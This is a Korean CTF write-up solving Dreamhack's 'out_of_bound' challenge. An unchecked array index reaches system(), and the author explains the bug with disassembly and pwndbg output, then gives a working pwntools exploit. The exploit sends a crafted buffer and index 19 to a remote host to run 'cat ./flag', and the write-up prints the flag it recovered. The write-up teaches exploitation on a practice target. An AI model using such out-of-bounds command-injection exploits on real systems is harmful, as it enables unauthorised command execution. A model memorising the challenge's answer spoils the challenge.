out_of_bound
1. Prob
이 문제는 서버에서 작동하고 있는 서비스(out_of_bound)의 바이너리와 소스 코드가 주어집니다.
프로그램의 취약점을 찾고 익스플로잇해 셸을 획득하세요.
"flag" 파일을 읽어 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{...} 입니다.
Environment
Ubuntu 16.04
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
2. Analysis
해당 문제도 소스코드가 함께 주어지므로, 소스코드 분석을 통해 취약점을 찾는다. Out Of Bound라고 문제에서 명시하고 있으며, 어렵지 않게 취약점을 찾을 수 있다.
char name[16];
char *command[10] = { "cat",
"ls",
"id",
"ps",
"file ./oob" };
(중략)
int main()
{
int idx;
initialize();
printf("Admin name: ");
read(0, name, sizeof(name));
printf("What do you want?: ");
scanf("%d", &idx);
system(command[idx]);
return 0;
}
상기의 코드를 확인하였을 때, 정말 어렵지 않게 취약점을 찾을 수 있다.
먼저 문자열 배열인 command 의 배열 사이즈는 10이며, 이 중 5개의 배열만 초기화 되어 있다. 그리고 scanf( ) 함수를 통해 입력 받은 정수의 배열 인덱스에 해당하는 command 문자열 배열의 데이터를 system( ) 함수를 통해 실행한다.
문제는 scanf( ) 함수를 통해 입력 받는 정수의 범위를 제한하지 않아 0~4 이외의 정수가 입력될 경우 배열의 잘못된 영역을 참조하게 된다, 이러한 취약점을 out of boundary 라고 한다.
문제 해결을 위해서는 system( ) 함수의 인자를 내가 원하는 인자로 세팅할 필요가 있다. (예를 들면.. cat flag 라던가..? 아니면 /bin/sh 라던가...) 그렇다면 command[idx] 의 데이터가 내가 입력한 값으 되면 된다. 이제 동적 분석을 통해 내가 원하는 공격이 실제로 가능한지 판단할 필요가 있다.
0x0804872c <+97>: call 0x8048540 <__isoc99_scanf@plt>
0x08048731 <+102>: add esp,0x10
0x08048734 <+105>: mov eax,DWORD PTR [ebp-0x10]
0x08048737 <+108>: mov eax,DWORD PTR [eax*4+0x804a060]
0x0804873e <+115>: sub esp,0xc
0x08048741 <+118>: push eax
0x08048742 <+119>: call 0x8048500 <system@plt>
상기의 어셈블리는 문제 파일의 main 함수에 대한 disassembly 결과 중 scanf( ) 함수를 사용하여 사용자 입력을 받고 system( ) 함수의 실행으로 이어지는 부분만 발췌한 것이다.
먼저 scanf( ) 함수를 통해 입력받은 정수가 ebp-0x10 에 저장되고, 이를 eax 레지스터에 복사한다. 그리고 eax*4+0x804a060 값을 eax 레지스터에 복사하고, 이를 system( ) 함수의 인자로 사용한다. scanf( )함수를 통해 입력받은 값은 정수이기 때문에 입력 값에 x4를 하는 것이라고 유추하면, 0x804a060은 command 배열의 주소일 것이라고 유추할 수 있다.
pwndbg> i var command
All variables matching regular expression "command":
Non-debugging symbols:
0x0804a060 command
그리고 name 배열의 주소도 위와 같은 방법으로 알 수 있다
pwndbg> i var name
All variables matching regular expression "name":
Non-debugging symbols:
0x0804a0ac name
그리고 스택 내에서 두 배열의 거리 (offset)은 아래와 같이 구할 수 있다.
pwndbg> p/d 0x0804a0ac - 0x0804a060
$1 = 76
자 생각해보자. command[idx]가 내가 입력하는 name 배열을 참조하게 만들기 위해 eax*4가 76이 되야한다. 그렇다면 정수로 입력한 eax에 저장된 값은 76 / 4 = 19, 즉 idx 값이 19가 되면 name 배열을 참조하게 된다.
그렇다면 name 배열에 'cat flag' 문자열을 저장하고, idx에 19를 입력하여 플래그를 읽을 수 있을 것이라고 생각했다.
pwndbg> r
Starting program: /home/gssong/Desktop/out_of_bound
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Admin name: cat flag
What do you want?: 19
[Attaching after Thread 0xf7fc24c0 (LWP 4929) vfork to child process 4932]
[New inferior 2 (process 4932)]
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[Detaching vfork parent process 4929 after child exit]
[Inferior 1 (process 4929) detached]
[Inferior 2 (process 4932) exited with code 0177]
pwndbg>
개같이 실패...
원인을 찾기 위해 다시 디버깅을 시작해본다.
pwndbg> b *main+119
Breakpoint 1 at 0x8048742
pwndbg> r
Starting program: /home/gssong/Desktop/out_of_bound
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Admin name: cat flag
What do you want?: 19
Breakpoint 1, 0x08048742 in main ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
─────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────────
EAX 0x20746163 ('cat ')
EBX 0xf7f9ee34 (_GLOBAL_OFFSET_TABLE_) ◂— 0x230d2c /* ',\r#' */
ECX 0
EDX 0xf7fc24c0 ◂— 0xf7fc24c0
EDI 0xf7ffcb60 (_rtld_global_ro) ◂— 0
ESI 0x8048770 (__libc_csu_init) ◂— push ebp
EBP 0xffffd358 ◂— 0
ESP 0xffffd330 ◂— 0x20746163 ('cat ')
EIP 0x8048742 (main+119) —▸ 0xfffdb9e8 ◂— 0xfffdb9e8
(중략)
흠... 인자로 'cat '만 들어가 있다. 그리고 이 문자열을 주소로 인식한다. 그렇다면.. name+4에 'cat flag' 문자열을 저장하고, name 배열을 system 함수의 인자로 넣으면 될 것 같다.
from pwn import*
context.log_level = 'debug'
file = "./out_of_bound"
#p = process (file)
p = remote('host1.dreamhack.games', 15251)
elf = ELF(file)
p.recvuntil(b"name: ")
cmd_addr = elf.symbols['command']
name_addr = elf.symbols['name']
payload = p32(name_addr+4)
payload += b'cat ./flag'
p.sendline(payload)
p.recvuntil(b"?: ")
p.sendline(b'19')
p.interactive()
python oob1_ex.py
[+] Opening connection to host1.dreamhack.games on port 15251: Done
[*] '/home/gssong/Desktop/out_of_bound'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[DEBUG] Received 0xc bytes:
b'Admin name: '
[DEBUG] Sent 0xf bytes:
00000000 b0 a0 04 08 63 61 74 20 2e 2f 66 6c 61 67 0a │····│cat │./fl│ag·│
0000000f
[DEBUG] Received 0x13 bytes:
b'What do you want?: '
[DEBUG] Sent 0x3 bytes:
b'19\n'
[*] Switching to interactive mode
[DEBUG] Received 0x24 bytes:
b'DH{2524e20ddeee45f11c8eb91804d57296}'
DH{2524e20ddeee45f11c8eb91804d57296}[*] Got EOF while reading in interactive